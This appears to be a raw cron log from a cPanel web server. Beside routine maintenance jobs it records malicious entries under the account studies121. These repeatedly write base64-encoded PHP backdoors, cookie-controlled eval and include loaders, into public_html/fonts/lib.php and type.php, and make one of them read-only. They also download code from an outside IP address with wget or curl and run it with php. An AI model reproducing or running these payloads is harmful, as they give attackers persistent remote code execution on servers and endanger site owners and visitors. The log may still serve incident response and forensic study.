Sep  3 19:15:01 ip-184-168-122-23 CROND[19288]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 19:15:01 ip-184-168-122-23 CROND[19287]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 19:16:01 ip-184-168-122-23 CROND[19371]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 19:16:01 ip-184-168-122-23 CROND[19373]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 19:16:01 ip-184-168-122-23 CROND[19374]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 19:16:01 ip-184-168-122-23 CROND[19376]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 19:16:01 ip-184-168-122-23 CROND[19377]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 19:16:01 ip-184-168-122-23 CROND[19375]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 19:17:01 ip-184-168-122-23 CROND[19462]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 19:17:01 ip-184-168-122-23 CROND[19464]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 19:17:01 ip-184-168-122-23 CROND[19463]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 19:17:01 ip-184-168-122-23 CROND[19465]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 19:18:01 ip-184-168-122-23 CROND[19540]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 19:18:01 ip-184-168-122-23 CROND[19544]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 19:18:01 ip-184-168-122-23 CROND[19542]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 19:18:01 ip-184-168-122-23 CROND[19543]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 19:18:01 ip-184-168-122-23 CROND[19545]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 19:19:01 ip-184-168-122-23 CROND[19633]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 19:19:01 ip-184-168-122-23 CROND[19634]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 19:19:01 ip-184-168-122-23 CROND[19635]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 19:19:01 ip-184-168-122-23 CROND[19636]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 19:20:01 ip-184-168-122-23 CROND[19816]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 19:20:01 ip-184-168-122-23 CROND[19817]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 19:20:01 ip-184-168-122-23 CROND[19815]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 19:20:01 ip-184-168-122-23 CROND[19820]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 19:20:01 ip-184-168-122-23 CROND[19825]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 19:20:01 ip-184-168-122-23 CROND[19827]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 19:20:01 ip-184-168-122-23 CROND[19823]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 19:20:01 ip-184-168-122-23 CROND[19826]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 19:20:01 ip-184-168-122-23 CROND[19830]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 19:21:01 ip-184-168-122-23 CROND[19919]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 19:21:01 ip-184-168-122-23 CROND[19923]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 19:21:01 ip-184-168-122-23 CROND[19921]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 19:21:01 ip-184-168-122-23 CROND[19922]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 19:22:01 ip-184-168-122-23 CROND[20008]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 19:22:01 ip-184-168-122-23 CROND[20012]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 19:22:01 ip-184-168-122-23 CROND[20010]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 19:22:01 ip-184-168-122-23 CROND[20011]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 19:22:01 ip-184-168-122-23 CROND[20013]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 19:23:01 ip-184-168-122-23 CROND[20099]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 19:23:01 ip-184-168-122-23 CROND[20101]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 19:23:01 ip-184-168-122-23 CROND[20102]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 19:23:01 ip-184-168-122-23 CROND[20100]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 19:24:01 ip-184-168-122-23 CROND[20175]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 19:24:01 ip-184-168-122-23 CROND[20180]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 19:24:01 ip-184-168-122-23 CROND[20178]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 19:24:01 ip-184-168-122-23 CROND[20179]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 19:24:01 ip-184-168-122-23 CROND[20177]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 19:25:01 ip-184-168-122-23 CROND[20274]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 19:25:01 ip-184-168-122-23 CROND[20276]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 19:25:01 ip-184-168-122-23 CROND[20278]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 19:25:01 ip-184-168-122-23 CROND[20279]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 19:25:01 ip-184-168-122-23 CROND[20280]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 19:25:01 ip-184-168-122-23 CROND[20277]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 19:26:01 ip-184-168-122-23 CROND[20373]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 19:26:01 ip-184-168-122-23 CROND[20375]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 19:26:01 ip-184-168-122-23 CROND[20374]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 19:26:01 ip-184-168-122-23 CROND[20380]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 19:26:01 ip-184-168-122-23 CROND[20381]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 19:27:02 ip-184-168-122-23 CROND[20558]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 19:27:02 ip-184-168-122-23 CROND[20560]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 19:27:02 ip-184-168-122-23 CROND[20557]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 19:27:02 ip-184-168-122-23 CROND[20561]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 19:28:01 ip-184-168-122-23 CROND[20709]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
